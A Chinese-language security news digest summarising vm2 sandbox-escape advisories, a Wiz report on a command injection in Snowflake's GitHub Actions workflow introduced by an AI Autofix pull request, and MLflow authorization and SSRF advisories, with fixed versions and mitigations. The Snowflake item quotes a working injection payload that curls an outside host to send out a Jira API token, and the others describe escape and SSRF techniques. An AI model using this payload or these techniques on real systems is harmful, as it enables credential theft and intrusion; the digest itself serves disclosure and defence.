vm2 沙箱防線全面崩潰:四個關聯漏洞串成從錯誤處理到記憶體耗盡的完整逃逸鏈
GitHub Advisory Database · 2026-08-14
GitHub Advisory Database 於 2026 年 8 月 14 日一次公開了四份與 vm2 相關的資安公告。vm2 是廣泛用於 Node.js 應用程式中「沙箱化」不受信任程式碼的函式庫,但專案本身已長期處於低維護、事實上被視為棄用(deprecated)的狀態,這也是本次多個逃逸鏈能持續存在的背景之一。四份公告彼此關聯,攻擊者可視情境串接不同缺陷,最終從沙箱內部取得主機層級的任意程式碼執行能力。四個問題全部影響 vm2 3.11.5 以下版本,並在 3.11.6 中一併修補。
漏洞機制
GHSA-m283-3h24-438v(CVE-2026-47686,CVSS 9.9)源自 handleException() 函式對 ES2022 Error.cause 屬性的清理不完整。雖然程式會遞迴清理 SuppressedError、AggregateError 內的子錯誤,卻遺漏了 Error.cause 這條路徑,當沙箱內程式捕捉到主機拋出、且 .cause 指向 process 等強大主機物件的錯誤時,攻擊者即可沿此參照逃逸,取得檔案存取、程序生成與網路操作等能力。
GHSA-cfcw-xp6x-25gj(CVE-2026-47698,CVSS 9.8)則是針對前一輪修補的繞過:只要把 indirectcall.call(dangerousmutator, ...) 換成 indirectcall.call(indirectcall, dangerousmutator, ...),間接呼叫就不會被判定為危險操作。這證明先前針對「危險 mutator」的黑名單式防禦本身就存在繞過空間,攻擊者可藉此重新寫出逃出沙箱、於主機執行任意指令的程式碼。
GHSA-m5w8-4gq2-6f8x(CVSS 9.3,尚無對應 CVE)指出在官方文件建議的 builtin: ['*'] 設定下,os 與 dns 兩個內建模組並未被列入危險清單。攻擊者可透過 os.userInfo()、os.networkInterfaces() 讀取主機使用者身分與網路拓樸,並用 dns.setServers() 綁架整個主機行程層級的 DNS 解析,將後續所有主機端 DNS 查詢導向攻擊者控制的伺服器。
GHSA-v836-6xw4-9cx3(CVSS 7.5,尚無對應 CVE)則是記憶體阻斷服務問題:bufferAllocLimit 只限制了 Buffer.alloc(),卻沒有限制 ArrayBuffer、SharedArrayBuffer 與各類 TypedArray 建構子。這些介面透過同一套 V8/C++ 底層機制配置記憶體,卻完全繞過大小上限,公告示範即便設定 10MB 上限,仍可用 new ArrayBuffer(N) 單一同步呼叫配置數 GB 記憶體,且無法被逾時機制中斷。
受影響版本
vm2 ≤ 3.11.5:四項漏洞(CVE-2026-47686、CVE-2026-47698、GHSA-m5w8-4gq2-6f8x、GHSA-v836-6xw4-9cx3)皆受影響- 修補版本統一為
vm2 3.11.6
| GHSA | CVE | CVSS | 類型 |
|---|---|---|---|
| GHSA-m283-3h24-438v | CVE-2026-47686 | 9.9 | Error.cause 逃逸 → RCE |
| GHSA-cfcw-xp6x-25gj | CVE-2026-47698 | 9.8 | 間接呼叫繞過 mutator 黑名單 |
| GHSA-m5w8-4gq2-6f8x | 無 | 9.3 | os/dns 內建模組洩漏與劫持 |
| GHSA-v836-6xw4-9cx3 | 無 | 7.5 | ArrayBuffer 記憶體耗盡 DoS |
修補與緩解
四份公告的修補動作一致,都要求將 vm2 升級至 3.11.6。但由於 vm2 專案本身已不再被視為積極維護的沙箱方案,升級能修補這四個已知洞,卻無法保證未來不再出現同類逃逸鏈,前後兩個漏洞(Error.cause 與間接呼叫繞過)本身就是「修補又被繞過」的連續案例。使用 NodeVM 並倚賴 builtin: ['*'] 預設設定的專案,也應重新檢視是否真的需要開放 os、dns 模組存取。
原始來源:GHSA-m283-3h24-438v、GHSA-cfcw-xp6x-25gj、GHSA-m5w8-4gq2-6f8x、GHSA-v836-6xw4-9cx3
Wiz 揭露:GitHub Copilot Autofix 生成的一行 shell 指令,讓 Snowflake 內部 Jira 差點被攻陷
Wiz Research blog · 2026-08-17
資安公司 Wiz 在其研究部落格公布,自家自主式紅隊代理人「Red Agent」在 Snowflake 開源倉庫 snowflakedb/snowflake-connector-net 中找到一個命令注入漏洞,並在無需任何驗證的情況下取得 Snowflake 內部 Jira(snowflakecomputing.atlassian.net)的存取權杖。這個漏洞本身正是由「Copilot Autofix powered by AI」具名共同作者的 PR 引入,且在 GitHub 的 AI 輔助程式碼審查中被判定為安全,直到五天後才被 Wiz 發現。事件從引入到修補的時間軸清楚可考。
漏洞機制
問題出在 .github/workflows/jira_issue.yml 這支工作流程,其中一行指令把 GitHub Issue 標題直接內插進 shell 字串:
TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")只要 Issue 標題中含有一個單引號,就能跳脫 echo 的字串邊界並注入任意指令,而該工作流程會在任何人建立新 Issue 時觸發,完全不需要任何身分驗證。工作流程本應以 if: github.event.pull_request.user.login 限制觸發對象,但這個欄位在 Issue 事件中永遠是 null,等於形同虛設。
Wiz 的 Red Agent 構造了如下注入內容,用以外洩以 base64 編碼的 Jira 權杖:
'; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`..."'; echo '代理人在初版 payload(使用 # 註解)觸發 bash 語法錯誤後,自主改用 ; echo ' 收尾語法重新嘗試並成功,最終取得以 qa@snowflake.net 身分認證的 Jira API 權杖,可讀取工程、資安合規與漏洞懸賞(bug bounty)等專案內容,外洩流量來自 GitHub Actions runner 所在的 Azure IP 20.106.182.197。
受影響版本
- 受影響倉庫:
snowflakedb/snowflake-connector-net,工作流程檔.github/workflows/jira_issue.yml - 2026-06-18:含命令注入的
PR #1218合併上線 - 2026-06-23:Wiz 發現並成功利用漏洞,隨即提交揭露
- 2026-06-23:Snowflake 以 commit
1dc7766(PR #1402)完成修補 - 2026-06-24:受影響的 Jira 權杖完成輪替
修補與緩解
Snowflake 的修補方式是把 Issue 標題改移到 env: 環境變數中,再交由 jq -n --arg 做結構化解析,而非直接字串插值,恢復成 PR #1218 之前的安全寫法。Wiz 的鑑識分析確認,在漏洞暴露期間並未發現第三方的未授權存取紀錄。Wiz 在報告中特別強調:即使有 AI 輔助審查把關,涉及 AI coding agent 的工作流程仍可能被引入嚴重漏洞,而自主式 AI 資安代理人同樣能在真實環境中快速發現並利用這類問題。
原始來源:Wiz Research: AI-Generated GitHub Copilot "Autofix" Allowed Compromise of Snowflake's Jira
MLflow 三合一授權破洞:run_id 跨用戶讀取、寫入竄改與非認證 SSRF 一次修補
GitHub Advisory Database · 2026-08-04
GitHub Advisory Database 於 2026 年 8 月初公開三份 mlflow 相關資安公告,涵蓋模型註冊、實驗紀錄與 Webhook 傳遞三個不同子系統。三個問題都源自授權檢查缺漏或驗證邊界設計不足,其中一個屬於未經身分驗證即可觸發的嚴重層級 SSRF。三者皆影響 mlflow < 3.15.0,並在 3.15.0 中一併修補。
漏洞機制
GHSA-gqch-g4w5-7qcw(CVE-2026-69148,CVSS 7.1)出在 _validate_source_run 函式:它只檢查來源路徑是否落在某個 run 的 artifact 目錄之內,卻沒有檢查呼叫者對該 run 是否擁有 READ 權限。已通過驗證的使用者只要在建立模型版本(CreateModelVersion)時引用他人的 run_id,就能透過 GET /model-versions/get-artifact 讀取受害者 artifact 目錄下的任意檔案,繞過實驗層級的 READ 權限管制,攻擊者只需具備對自己建立的註冊模型天生擁有的 UPDATE 權限即可發動。
GHSA-3p64-6gvh-82v5(CVE-2026-69146,CVSS 6.5)則是 LogInputs 端點的授權遺漏:在 basic-auth 模式下,LogInputs 這個 protobuf 類別未被列入 BEFORE_REQUEST_HANDLERS 字典,導致授權驗證被完全跳過。已驗證使用者可透過 POST /api/2.0/mlflow/runs/log-inputs 對他人的 run 注入任意資料集紀錄,而 log-metric 等標準寫入端點在同樣情境下會正確回傳 403,凸顯這是單一端點的遺漏而非整體設計缺陷,足以污染 ML 合規流程中的資料集血緣紀錄。
GHSA-7gwp-5pfp-969j(CVE-2026-64849,CVSS 9.3)是三者中最嚴重的一項:_validate_webhook_url 只在建立 Webhook 當下檢查目標是否為非公開 IP,卻從未把驗證通過的 IP「釘住」用於後續實際連線,也不驗證後續的 HTTP 轉址目標。攻擊者可先設定一個指向自己合法公開網域的 Webhook,讓該網域回傳 302 轉址到 169.254.169.254 等內部目標,再透過未經驗證即可呼叫的 /test 端點取回回應內容,在預設安裝下即可讀取雲端 metadata、內部管理服務並進行連接埠掃描。
受影響版本
mlflow < 3.15.0:三項漏洞(CVE-2026-69148、CVE-2026-69146、CVE-2026-64849)皆受影響- 修補版本統一為
mlflow 3.15.0
| GHSA | CVE | CVSS | 類型 |
|---|---|---|---|
| GHSA-gqch-g4w5-7qcw | CVE-2026-69148 | 7.1 | run_id READ 權限繞過 |
| GHSA-3p64-6gvh-82v5 | CVE-2026-69146 | 6.5 | LogInputs 跳過 UPDATE 授權 |
| GHSA-7gwp-5pfp-969j | CVE-2026-64849 | 9.3 | Webhook 轉址未驗證 → 非認證 SSRF |
修補與緩解
三項問題均在 mlflow 3.15.0 中修補,升級是目前唯一列於公告中的修補途徑。由於其中兩項(run_id 讀取繞過、LogInputs 寫入繞過)都要求攻擊者本身已是通過驗證的使用者,部署了多租戶 MLflow Tracking Server 且開放一般使用者自行建立實驗與模型的環境,升級前應留意既有帳號是否已被用來存取跨用戶的 artifact 或竄改他人 run 的資料集紀錄。Webhook SSRF 一項則因為 /test 端點無需驗證即可觸發,風險層級與前兩者不同,屬於暴露面更廣的問題。
原始來源:GHSA-gqch-g4w5-7qcw、GHSA-3p64-6gvh-82v5、GHSA-7gwp-5pfp-969j